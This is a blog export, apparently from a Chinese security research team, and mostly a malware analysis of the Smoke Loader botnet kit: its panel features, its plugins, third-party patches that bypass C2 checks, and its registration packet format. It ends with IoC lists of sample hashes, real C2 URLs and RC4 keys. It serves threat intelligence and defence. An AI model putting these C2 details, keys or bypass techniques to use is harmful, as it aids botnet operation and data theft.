2018年9月份开始也有较快幅度的增长，同样在11、12月达到巅峰，并且在2019年1月仍在持续增长中。\n\n\n接下来我们看一下这种批量备案ICP域名的具体情况。\n\n###批量备案的整体情况\n经过研究，我们发现这种批量ICP备案的域名在注册时，使用的单位名称较为固定，而具体的域名则比较随机。我们以此为特征，对DNSMon中出现的域名进行了筛选。共筛选到大约74万批量备案的域名（截止到2019-01-14），约占总备案域名数的10%。涉及的省份除了山西绝对大头之外，还有湖北，江西，海南等其余20个省份。具体分布如下：\n\n###批量备案的主体信息\n每个备案主体批量备案的域名数量（>100）的分布如下：\n\n可见，绝大多数的批量主体注册量在100～200之间，22%的实体备案的域名个数在500个以上，考虑到其总共备案的域名个数占备案域名数的6%以上，这个比例还是非常惊人的。\n###批量备案域名的whois\n在批量备案域名方面，我们好奇这些批量备案的域名是否来自做域名生意的米农。毕竟有备案的域名对米农来说是非常有竞争力的。经过我们的数据分析，可以确认这些批量ICP备案的域名的确来自米农。\n\n出于说明问题的目的，我们仅挑选了一个我们看到的最大的域名注册邮箱进行分析。域名注册邮箱为[email protected]，总共注册了491177，备案了49459个域名，约占10.07%。\n####备案主体\n涉及的备案主体个数226个，其中TOP20的备案主体和备案域名个数如下表\n\n####备案省份\[email protected]注册的域名备案的省份达11个，每个省所占的比例如下图：\n\n####备案时间\n最早的批量备案的审核时间可以追溯至2018年2月，最晚的在2019年1月。具体如下图所示：\n\n\n###批量备案域名的业务是什么\n通过DNSMon系统的分析，这些域名绝大多数都集中在导流，色情，广告，钓鱼等黑色和灰色业务上，具体业务分布如下图所示：\n\n（这部分准确的数据需要跑mapreduce进行统计。。。）\n\n##结语\n问题到这里已经相对比较清楚了，正是由于ICP备案过程中存在的一些漏洞，导致某些操作者能够批量的通过ICP备案来注册域名。并且这种批量的备案是全国普遍性的存在，在山西省表现最为明显。经过批量ICP备案的域名后续的用途则甚为广泛。经过备案的域名的利用价值也必然要比未经备案的域名价值要高。正是由于该漏洞的存在也使得备案这个机制近乎名存实亡。我们希望相关机构能够迅速的补上这个漏洞，减少由此带来的风险。\n##参考资料\n【1】https://baike.so.com/doc/5327441-5562613.html"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

165

post

2019-02-15T07:40:13.000Z

63873b9a8b1c1e0007f52f41

smoke-loader-zhu-ti-kong-zhi-tai-cha-jian-yi-ji-dao-ban-zhi-shang

2019-02-15T17:01:10.000Z

public

published

2019-02-03T07:46:00.000Z

Smoke Loader:主体、控制台、插件，以及盗版之殇

<p>Smoke Loader 是一个在黑市上公开销售的僵尸网络软件。其活动时间可以追溯到2011年，虽然近年来已经被多次曝光，但保持持续升级，非常活跃。在我们统计中，仅最近半年活跃的样本就超过 1,500 个。</p><p>我们在跟踪这一家族的过程中，捕获了一套完整的恶意程序套件，包括其主体Loader、控制台Panel，以及控制台中包含的插件。对这套样本的分析使我们对其运行机制有了更深入的了解，这将是本文的主要内容之一。</p><p>分析过程中，我们还遇到一组被修改过的特例样本。虽然有人认为这组样本是作者在对抗安全研究人员提取C2主控域名，但仔细分析后，我们认为这是第三方做“盗版”。这部分的分析和研判过程，是本文的主要内容之二。</p><p>Smoke Loader相关的分析文档已经很多，本文不会涉及已经被公开的部分。相关内容，读者可以参阅文末参考部分。</p><h2 id="smoke-loader-">Smoke Loader 套件分析</h2><p>套件中的文件结构见后图，说明如下：</p><ul><li>本体，Loader_new_Cyberbunker.exe</li><li>Web控制台，Panel ，使用未加密的PHP语言编写</li><li>插件，包括 Panel/mods 和 Panel/keylogger，等</li><li>mysql数据库建库脚本 smoke_1.sql，插件规则会存储在这个数据库里</li><li>Smoke Loader的功能介绍，smoke_features.txt</li><li>安装说明</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image.png" class="kg-image" alt loading="lazy"></figure><p><i>图 1. Smoke Loader 目录结构 </i></p><h4 id="-">控制台</h4><p>套件中的 Panel 目录，就是其控制台。将其部署后，得到一个Web控制界面，这是一个标准的Smoke Loader的控件台，样式布局和网上流传的控制台基本一致。</p><p>通过对照恶意软件自带功能说明，可以了解该控制台包括以下12大类功能：</p><ul><li>盗号</li><li>浏览器表单数据收集</li><li>密码嗅探，包括Ftp和邮件</li><li>伪DNS，即域名劫持</li><li>文件搜索，实现全盘文件监控</li><li>进程监控</li><li>DDOS攻击</li><li>键盘记录</li><li>邮件盗窃</li><li>隐藏窗口版TeamViewer</li><li>门罗币挖矿</li><li>用户自定义程序</li></ul><p>其存储位置和执行方式也略有不同：</p><ul><li>前9个功能，从“盗号”到“邮件盗窃”：对应 Panel/mods/plugins中，这是一个自定义格式加密的插件集合。通过逆向可以看到，其中有效的可执行体共计16个。运行时需通过创建进程explorer.exe和内存注入进行加载。</li><li>隐藏窗口版TeamViewer：对应 Panel/mods/tv。运行时由相应的控件插件下载并创建子进程执行。</li><li>门罗币挖矿：对应 Panel/mods/minerXX。运行时由相应的控件插件下载并创建子进程执行。</li><li>用户自定义程序：Smoke Loader的用户还可以指定任意恶意程序进行加载，既可以从控制台直接下发，也可以从指定的URL下载执行。加载的方式也很灵活，可以直接执行也可以作为dll加载，甚至可以直接进程内展开执行。</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-16.png" class="kg-image" alt loading="lazy"><figcaption><i>图 2. Smoke Loader 的Panel控制台，Web界面&nbsp;</i></figcaption></figure><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-2.png" class="kg-image" alt loading="lazy"><figcaption><i>图 3. Smoke Loader 自带功能介绍文件&nbsp;</i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-3.png" class="kg-image" alt loading="lazy"><figcaption><i>图 4. Smoke Loader 用户自定义功能界面&nbsp;</i></figcaption></figure><h4 id="--1">插件</h4><p>Smoke Loader的插件系统很灵活，除了首次启动会尝试下载所有自带插件及插件执行规则，还支持通过自带插件和插件规则。</p><p>通过解密plugin共拆解出16个插件，其中若干插件功能相同但适配不同版本操作系统。在我们的测试机上运行时，可以看到Smoke Loader的有效载荷成功创建了9个子进程，每个进程内运行了一个插件。注意，这些进程名虽然是 explorer.exe看似无害，但实际上已经被注入了插件载荷，是恶意进程。具体的注入方式细节，见参考[1]。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-4.png" class="kg-image" alt loading="lazy"><figcaption><i>图 11. 控制台将数据库中的插件规则下发给 bot</i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-5.png" class="kg-image" alt loading="lazy"><figcaption><i>图 12. 测试机中已经运行起来的插件们 </i></figcaption></figure><p>更多插件的细节包括：</p><ul><li><strong>挖矿插件</strong>：它会在收到挖矿指令时下载对应的矿机程序（进程wuauclt.exe）配合启动参数执行挖矿任务。</li><li><strong>DDoS插件</strong>：支持多种常见的DDoS攻击类型，如http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood</li><li><strong>表单信息盗取插件</strong>：支持常见的浏览器，包括 IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-17.png" class="kg-image" alt loading="lazy"><figcaption><i>图 13. 挖矿插件运行示例&nbsp;</i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-18.png" class="kg-image" alt loading="lazy"><figcaption><i><em>图 14. DDoS攻击插件支持的攻击类型</em></i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-6.png" class="kg-image" alt loading="lazy"><figcaption><i>图 15. 表单窃取插件支持的浏览器列表 </i></figcaption></figure><h2 id="--2">“对抗”还是“盗版”？</h2><p>有人报告近期流行的Smoke Loader出现了版本[2]，以对抗C2抽取系统，我们也观察到一组类似样本。</p><p>这组样本的目的，实际上不仅可能是“对抗”，我们分析后认为其目的是“盗版”。我们认为这个版本的改动来自第三方而非原作者，目的不是为了对抗安全研究人员分析，而是为了突破原始作者在售出的Loader中写死C2的限制。</p><p>这组样本共88个，有个共同点是其中残存了两个并不生效的C2：</p><ul><li>hxxp://185.35.137.147/mlp/</li><li>hxxp://185.35.137.147/mlp/</li></ul><p>从残存C2出发，我们在手头的其它样本中关联到了有着相同C2、并且生效的样本。我们将后者称为原始样本，前者称为修改版本。通过对比，我们注意到以下特点，并据此认定这组版本是经过二进制Patch的“盗版”：</p><ul><li><strong>相同的残存C2</strong>：所有修改版本中的残存C2是一样的，暗示这组样本同源；</li><li><strong>C2存储方式</strong>：原始样本中是加密存储的，修改样本是明文存储的；</li><li><strong>主备C2机制</strong>：原始样本中是支持的，修改样本是不支持的；</li><li><strong>C2验证机制</strong>：原始样本有验证机制，会通过验证两个C2的CRC32值来决定是否安装启动项以及是否加载插件，修改版本直接用汇编空指令NOP覆盖了验证代码，跳过了验证机制；</li></ul><p>Smoke Loader 在黑市有销售，一套完整的Smoke Loader公开售价约850美元。开发者采用许可证的销售模式，给每个买家发布一套定制好的系统，包含了Loader+Panel。值得注意的是，如果想变更C2就需要重新生成Loader，而每重新生成一个Loader需要10美元。这组“盗版”Loader就可以突破原作者的这个限制。</p><p>Patch后的盗版Loader支持全部功能。但这种Patch方案非常粗暴缺点很明显，硬编码使得一个Loader最多只能支持一个有效C2。样本的网络行为和我们的统计数据也都证实了这一结论。</p><h4 id="-patch-">“盗版”中的三处关键 Patch 代码</h4><p>该版本中有三处关键的Patch代码，分析如下，截图见后：</p><ul><li><strong>第一处Patch</strong>：直接替换了C2配置信息解密函数，将C2明文编码在代码中，调用解密函数时直接返回C2地址。后图可见，每次调用解密函数返回的C2都是代码段中的“hxxp://jsoc8492.us/jd/”；</li><li><strong>第二处Patch</strong>：覆盖了验证第一C2的代码。正版样本会计算第一C2的CRC值，然后和加密key做比较，如果失配则不会加载插件；</li><li><strong>第三处Patch</strong>：与第二处类似，覆盖了验证第二C2的代码。</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-7.png" class="kg-image" alt loading="lazy"><figcaption><i>图 16. Patch 1，替换了C2配置信息的解密函数 </i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-8.png" class="kg-image" alt loading="lazy"><figcaption><i>图 17. Patch 2, 使用空指令NOP覆盖以跳过第一C2验证机制 </i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-9.png" class="kg-image" alt loading="lazy"><figcaption><i>图 18. Patch 3, 使用空指令NOP覆盖以跳过第二C2验证机制 </i></figcaption></figure><p></p><h2 id="3-">3. 其它有意思的细节</h2><h4 id="loader">Loader</h4><p>套件中的Loader_new_Cyberbunker.exe就是Loader本体。</p><p>Loader由注入器和有效载荷组成。注入器负责一些简单的沙箱和逆向对抗工作，并最终把有效载荷注入explorer进程。有效载荷是真正的工作代码。</p><p>2018版的注入器，会使用PROPagate的加壳注入方案，这一点在Talos的公开文档中已经提及。通常，Smoke Loader的买家在通过各种渠道传播恶意程序之前，还会继续使用自己的加壳方案对Loader加壳。所以，流行的样本基本上都会有两到三层壳。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-10.png" class="kg-image" alt loading="lazy"><figcaption><i>图 5. 流行的Smoke Loader样本通常会有两到三层壳 </i></figcaption></figure><h4 id="-c2-">上线包和C2指令通信格式</h4><p>样本运行后，会发送一个数据包向控制台注册，称为上线包或者注册包。2018版注册包的数据结构在既往已公开分析中未见清晰定义，我们可以利用控制台代码中相应部分轻松搞定。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-11.png" class="kg-image" alt loading="lazy"><figcaption><i>图 6. 解密后的上线包 </i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-19.png" class="kg-image" alt loading="lazy"><figcaption><i><em>图 7. 控制台代码中定义的上线包数据结构</em></i></figcaption></figure><p>通过分析，我们可以明确该上线包的格式如下：</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-12.png" class="kg-image" alt loading="lazy"><figcaption><i>图 8. Smoke Loader 上线包的格式 </i></figcaption></figure><p>其中部分字段的意义如下：</p><ul><li><strong>AFFID</strong>：也叫Seller ID，这是为了明确分发渠道，用来和合作的团伙分成的标记，在打包的时候硬编码进样本。最常见的取值是 Good, cece 和 new1，不过也有大约15%的样本中这里是空的；</li><li><strong>BOT_WINVER</strong>：感染主机的OS版本，从代码看基本支持当前所有Windows个人版系统，从WinXP到Win10，见下图；</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-13.png" class="kg-image" alt loading="lazy"><figcaption><i>图 9. Smoke Loader 能够感染主机的OS版本 </i></figcaption></figure><p><strong>BOT_RES</strong>：用来确定是否是安装版，因为Smoke Loader发行时会分为可安装版及不可安装版，售价略有不同。这个标记是用来区分版本类型的；</p><ul><li><strong>BOT_CMD</strong>：指令编号，控制台定义的指令共有15个，详见下图。</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/image-14.png" class="kg-image" alt loading="lazy"><figcaption><i>图 10. Smoke Loader 支持的指令类型 </i></figcaption></figure><p></p><h2 id="4-ioc-">4. IoC统计</h2><p>我们对近半年收集到的 Smoke Loader样本做了一些简单的统计，详细数据请参考附录IOC：</p><ul><li>样本： 1656 个</li><li>C2：  296个</li><li>Affid：42个</li></ul><p>破解版相关统计：</p><ul><li>原始版本 vs 破解版样本：约为1568比88</li><li>破解版中生效的 C2 URL 个数 ： 27 个</li><li>这些C2 URL 涉及到的域名 : 15 个</li></ul><p>按照Affid (Seller ID)进行分组，样本的统计情况如下。其中Good、cece、new1 是这个渠道较大的消费者，三者合计占据了 88%。NA 是样本中该处为空的情况：</p><pre><code>affid count % Good 826 49.9% cece 395 23.9% [NA] 238 14.4% new1 77 4.7% 1501 21 1.3% 0 13 0.8% Pitt 12 0.7% 1301 9 0.5% sel1 7 0.4% Form 5 0.3% OTHER 52 3.1% </code></pre><h2 id="5-ioc">5. IoC</h2><p>Malware Sample md5<br>完成的md5列表超过 1,500 行，可以在 <a href="__GHOST_URL__/file/ioc_smoke_loader_md5.txt">这里</a> 下载。下面列出了前十条记录：</p><pre><code>001dacf6608df69d485514a172fff05d 00521a5e800a85de875b703e9bc1f507 00891f91904955fb69fad4488f96741a 008d5eb400e41fcb87ef64db276013dc 009e213b63a4830adf5df372261ae6b0 00b8a47bdf14880ebeba6bebc3ea7dbc 00c5063e13752357b35c097c4c0f7059 00eef71e18381a537b1750c7f2983025 01162c00d54b976536d692173ef3e039 013748c007f80fb7cc2c42ca424e4733 </code></pre><p>Malware C2<br>完整的C2 列表超过 250 行，可以在 <a href="__GHOST_URL__/file/ioc_smoke_loader_c2.txt">这里</a> 下载，下面是前十条记录。其中各字段的含义如下。</p><ul><li>version 版本号</li><li>req_key 发包数据的rc4加密key</li><li>res_key 收包数据的rc4解密key</li><li>remaining_c2 “盗版”中残存的C2</li><li>affid Seller ID</li><li>md5 count 有多少独立样本包含该C2</li></ul><p>关于 C2 列表的一些细节：</p><ul><li>大部分的样本中会有2到5个C2，但也有个别样本中包含 75 个C2 之多；</li><li>有些C2 相关的样本，在升级之后 req_key, res_key 会发生变化；</li></ul><pre><code># NA C2 version req_key res_key remaining_c2_if_exists affid md5_count 0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826 1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826 2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826 3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77 7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77 </code></pre><h2 id="--3">参考资料</h2><ul><li> [1] <a href="https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html">https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html</a> </li><li> [2] <a href="https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait">https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait</a> </li><li> [3] <a href="https://www.cert.pl/en/news/single/dissecting-smoke-loader/">https://www.cert.pl/en/news/single/dissecting-smoke-loader/</a> </li></ul>

Smoke Loader 是一个在黑市上公开销售的僵尸网络软件。其活动时间可以追溯到2011年，虽然近年来已经被多次曝光，但保持持续升级，非常活跃。在我们统计中，仅最近半年活跃的样本就超过 1,500 个。 我们在跟踪这一家族的过程中，捕获了一套完整的恶意程序套件，包括其主体Loader、控制台Panel，以及控制台中包含的插件。对这套样本的分析使我们对其运行机制有了更深入的了解，这将是本文的主要内容之一。 分析过程中，我们还遇到一组被修改过的特例样本。虽然有人认为这组样本是作者在对抗安全研究人员提取C2主控域名，但仔细分析后，我们认为这是第三方做“盗版”。这部分的分析和研判过程，是本文的主要内容之二。 Smoke Loader相关的分析文档已经很多，本文不会涉及已经被公开的部分。相关内容，读者可以参阅文末参考部分。 Smoke Loader 套件分析 套件中的文件结构见后图，说明如下： * 本体，Loader_new_Cyberbunker.exe * Web控制台，Panel ，使用未加密的PHP语言编写 * 插件，包括 Panel/mods 和 Panel/keylogger，等 * mysql数据库建库脚本 smoke_1.sql，插件规则会存储在这个数据库里 * Smoke Loader的功能介绍，smoke_features.txt * 安装说明 图 1. Smoke Loader 目录结构 控制台 套件中的 Panel 目录，就是其控制台。将其部署后，得到一个Web控制界面，这是一个标准的Smoke Loader的控件台，样式布局和网上流传的控制台基本一致。 通过对照恶意软件自带功能说明，可以了解该控制台包括以下12大类功能： * 盗号 * 浏览器表单数据收集 * 密码嗅探，包括Ftp和邮件 * 伪DNS，即域名劫持 * 文件搜索，实现全盘文件监控 * 进程监控 * DDOS攻击 * 键盘记录 * 邮件盗窃 * 隐藏窗口版TeamViewer * 门罗币挖矿 * 用户自定义程序 其存储位置和执行方式也略有不同： * 前9个功能，从“盗号”到“邮件盗窃”：对应 Panel/mods/plugins中，这是一个自定义格式加密的插件集合。通过逆向可以看到，其中有效的可执行体共计16个。运行时需通过创建进程explorer.exe和内存注入进行加载。 * 隐藏窗口版TeamViewer：对应 Panel/mods/tv。运行时由相应的控件插件下载并创建子进程执行。 * 门罗币挖矿：对应 Panel/mods/minerXX。运行时由相应的控件插件下载并创建子进程执行。 * 用户自定义程序：Smoke Loader的用户还可以指定任意恶意程序进行加载，既可以从控制台直接下发，也可以从指定的URL下载执行。加载的方式也很灵活，可以直接执行也可以作为dll加载，甚至可以直接进程内展开执行。 插件 Smoke Loader的插件系统很灵活，除了首次启动会尝试下载所有自带插件及插件执行规则，还支持通过自带插件和插件规则。 通过解密plugin共拆解出16个插件，其中若干插件功能相同但适配不同版本操作系统。在我们的测试机上运行时，可以看到Smoke Loader的有效载荷成功创建了9个子进程，每个进程内运行了一个插件。注意，这些进程名虽然是 explorer.exe看似无害，但实际上已经被注入了插件载荷，是恶意进程。具体的注入方式细节，见参考[1]。 更多插件的细节包括： * 挖矿插件：它会在收到挖矿指令时下载对应的矿机程序（进程wuauclt.exe）配合启动参数执行挖矿任务。 * DDoS插件：支持多种常见的DDoS攻击类型，如http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood * 表单信息盗取插件：支持常见的浏览器，包括 IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird “对抗”还是“盗版”？ 有人报告近期流行的Smoke Loader出现了版本[2]，以对抗C2抽取系统，我们也观察到一组类似样本。 这组样本的目的，实际上不仅可能是“对抗”，我们分析后认为其目的是“盗版”。我们认为这个版本的改动来自第三方而非原作者，目的不是为了对抗安全研究人员分析，而是为了突破原始作者在售出的Loader中写死C2的限制。 这组样本共88个，有个共同点是其中残存了两个并不生效的C2： * hxxp://185.35.137.147/mlp/ * hxxp://185.35.137.147/mlp/ 从残存C2出发，我们在手头的其它样本中关联到了有着相同C2、并且生效的样本。我们将后者称为原始样本，前者称为修改版本。通过对比，我们注意到以下特点，并据此认定这组版本是经过二进制Patch的“盗版”： * 相同的残存C2：所有修改版本中的残存C2是一样的，暗示这组样本同源； * C2存储方式：原始样本中是加密存储的，修改样本是明文存储的； * 主备C2机制：原始样本中是支持的，修改样本是不支持的； * C2验证机制：原始样本有验证机制，会通过验证两个C2的CRC32值来决定是否安装启动项以及是否加载插件，修改版本直接用汇编空指令NOP覆盖了验证代码，跳过了验证机制； Smoke Loader 在黑市有销售，一套完整的Smoke Loader公开售价约850美元。开发者采用许可证的销售模式，给每个买家发布一套定制好的系统，包含了Loader+Panel。值得注意的是，如果想变更C2就需要重新生成Loader，而每重新生成一个Loader需要10美元。这组“盗版”Loader就可以突破原作者的这个限制。 Patch后的盗版Loader支持全部功能。但这种Patch方案非常粗暴缺点很明显，硬编码使得一个Loader最多只能支持一个有效C2。样本的网络行为和我们的统计数据也都证实了这一结论。 “盗版”中的三处关键 Patch 代码 该版本中有三处关键的Patch代码，分析如下，截图见后： * 第一处Patch：直接替换了C2配置信息解密函数，将C2明文编码在代码中，调用解密函数时直接返回C2地址。后图可见，每次调用解密函数返回的C2都是代码段中的“hxxp://jsoc8492.us/jd/”； * 第二处Patch：覆盖了验证第一C2的代码。正版样本会计算第一C2的CRC值，然后和加密key做比较，如果失配则不会加载插件； * 第三处Patch：与第二处类似，覆盖了验证第二C2的代码。 3. 其它有意思的细节 Loader 套件中的Loader_new_Cyberbunker.exe就是Loader本体。 Loader由注入器和有效载荷组成。注入器负责一些简单的沙箱和逆向对抗工作，并最终把有效载荷注入explorer进程。有效载荷是真正的工作代码。 2018版的注入器，会使用PROPagate的加壳注入方案，这一点在Talos的公开文档中已经提及。通常，Smoke Loader的买家在通过各种渠道传播恶意程序之前，还会继续使用自己的加壳方案对Loader加壳。所以，流行的样本基本上都会有两到三层壳。 上线包和C2指令通信格式 样本运行后，会发送一个数据包向控制台注册，称为上线包或者注册包。2018版注册包的数据结构在既往已公开分析中未见清晰定义，我们可以利用控制台代码中相应部分轻松搞定。 通过分析，我们可以明确该上线包的格式如下： 其中部分字段的意义如下： * AFFID：也叫Seller ID，这是为了明确分发渠道，用来和合作的团伙分成的标记，在打包的时候硬编码进样本。最常见的取值是 Good, cece 和 new1，不过也有大约15%的样本中这里是空的； * BOT_WINVER：感染主机的OS版本，从代码看基本支持当前所有Windows个人版系统，从WinXP到Win10，见下图； BOT_RES：用来确定是否是安装版，因为Smoke Loader发行时会分为可安装版及不可安装版，售价略有不同。这个标记是用来区分版本类型的； * BOT_CMD：指令编号，控制台定义的指令共有15个，详见下图。 4. IoC统计 我们对近半年收集到的 Smoke Loader样本做了一些简单的统计，详细数据请参考附录IOC： * 样本： 1656 个 * C2：  296个 * Affid：42个 破解版相关统计： * 原始版本 vs 破解版样本：约为1568比88 * 破解版中生效的 C2 URL 个数 ： 27 个 * 这些C2 URL 涉及到的域名 : 15 个 按照Affid (Seller ID)进行分组，样本的统计情况如下。其中Good、cece、new1 是这个渠道较大的消费者，三者合计占据了 88%。NA 是样本中该处为空的情况： affid count % Good 826 49.9% cece 395 23.9% [NA] 238 14.4% new1 77 4.7% 1501 21 1.3% 0 13 0.8% Pitt 12 0.7% 1301 9 0.5% sel1 7 0.4% Form 5 0.3% OTHER 52 3.1% 5. IoC Malware Sample md5 完成的md5列表超过 1,500 行，可以在 这里 下载。下面列出了前十条记录： 001dacf6608df69d485514a172fff05d 00521a5e800a85de875b703e9bc1f507 00891f91904955fb69fad4488f96741a 008d5eb400e41fcb87ef64db276013dc 009e213b63a4830adf5df372261ae6b0 00b8a47bdf14880ebeba6bebc3ea7dbc 00c5063e13752357b35c097c4c0f7059 00eef71e18381a537b1750c7f2983025 01162c00d54b976536d692173ef3e039 013748c007f80fb7cc2c42ca424e4733 Malware C2 完整的C2 列表超过 250 行，可以在 这里 下载，下面是前十条记录。其中各字段的含义如下。 * version 版本号 * req_key 发包数据的rc4加密key * res_key 收包数据的rc4解密key * remaining_c2 “盗版”中残存的C2 * affid Seller ID * md5 count 有多少独立样本包含该C2 关于 C2 列表的一些细节： * 大部分的样本中会有2到5个C2，但也有个别样本中包含 75 个C2 之多； * 有些C2 相关的样本，在升级之后 req_key, res_key 会发生变化； # NA C2 version req_key res_key remaining_c2_if_exists affid md5_count 0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826 1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826 2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826 3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77 7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77 参考资料 * [1] https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html * [2] https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait * [3] https://www.cert.pl/en/news/single/dissecting-smoke-loader/

{"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2019/02/image.png"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-16.png","caption":"<i>图 2. Smoke Loader 的Panel控制台，Web界面&nbsp;</i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-2.png","cardWidth":"wide","caption":"<i>图 3. Smoke Loader 自带功能介绍文件&nbsp;</i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-3.png","caption":"<i>图 4. Smoke Loader 用户自定义功能界面&nbsp;</i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-4.png","caption":"<i>图 11. 控制台将数据库中的插件规则下发给 bot</i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-5.png","caption":"<i>图 12. 测试机中已经运行起来的插件们 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-17.png","caption":"<i>图 13. 挖矿插件运行示例&nbsp;</i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-18.png","caption":"<i><em>图 14. DDoS攻击插件支持的攻击类型</em></i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-6.png","caption":"<i>图 15. 表单窃取插件支持的浏览器列表 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-7.png","caption":"<i>图 16. Patch 1，替换了C2配置信息的解密函数 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-8.png","caption":"<i>图 17. Patch 2, 使用空指令NOP覆盖以跳过第一C2验证机制 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-9.png","caption":"<i>图 18. Patch 3, 使用空指令NOP覆盖以跳过第二C2验证机制 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-10.png","caption":"<i>图 5. 流行的Smoke Loader样本通常会有两到三层壳 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-11.png","caption":"<i>图 6. 解密后的上线包 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-19.png","caption":"<i><em>图 7. 控制台代码中定义的上线包数据结构</em></i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-12.png","caption":"<i>图 8. Smoke Loader 上线包的格式 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-13.png","caption":"<i>图 9. Smoke Loader 能够感染主机的OS版本 </i>"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image-14.png","caption":"<i>图 10. Smoke Loader 支持的指令类型 </i>"}],["code",{"code":"affid count %\nGood 826 49.9%\ncece 395 23.9%\n[NA] 238 14.4%\nnew1 77 4.7%\n1501 21 1.3%\n0 13 0.8%\nPitt 12 0.7%\n1301 9 0.5%\nsel1 7 0.4%\nForm 5 0.3%\nOTHER 52 